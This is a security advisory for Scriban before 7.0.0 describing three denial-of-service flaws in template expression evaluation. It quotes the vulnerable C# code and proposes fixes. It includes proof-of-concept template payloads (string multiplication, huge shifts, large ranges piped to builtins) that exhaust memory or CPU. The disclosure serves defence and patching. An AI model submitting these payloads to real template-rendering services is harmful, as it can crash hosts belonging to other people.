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Scriban before 7.0.0 Denial of Service via Unbounded Resource Consumption

CVSS 4.0 7.1 HIGHCVSS 3.1 6.5 MEDIUMEUVD CVSS 4.0 7.1 CVSS 4.0 · [email protected] · Secondary 7.1 HIGHCVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by Scriban 7.0.0Fixed by Scriban.Signed 7.0.0KEV status unknown

cve-program · CVE-2026-74785

Published

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

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euvd · EUVD-2026-59951

Published

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

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nvd · CVE-2026-74785

Published

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

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osv · GHSA-xw6w-9jjh-p9cr

Published

## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left); if (context.LimitToString > 0 && (long)value * leftText.Length > context.LimitToString) { throw new ScriptRuntimeException(span, $"String multiplication would exceed LimitToString ({context.LimitToString} characters)"); } var builder = new StringBuilder(); for (int i = 0; i < value; i++) ``` ### Vector 2 — BigInteger shift: Cap the shift amount ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784 case ScriptBinaryOperator.ShiftLeft: if (right > 1048576) // Same as MaxBigInteger bit count throw new ScriptRuntimeException(span, $"Shift amount {right} exceeds maximum allowed (1048576)"); return (BigInteger)left << (int)right; ``` ### Vector 3 — Range + builtins: Add iteration counting to range iterators Pass `TemplateContext` to `RangeInclude`/`RangeExclude` and enforce a limit: ```csharp private static IEnumerable<object> RangeInclude(TemplateContext context, BigInteger left, BigInteger right) { var maxRange = context.LoopLimit > 0 ? context.LoopLimit : int.MaxValue; int count = 0; if (left < right) { for (var i = left; i <= right; i++) { if (++count > maxRange) throw new ScriptRuntimeException(context.CurrentNode.Span, $"Range enumeration exceeds LoopLimit ({maxRange})"); yield return FitToBestInteger(i); } } // ... same for descending branch } ``` Alternatively, validate range size eagerly at creation time: `if (BigInteger.Abs(right - left) > maxRange) throw ...`

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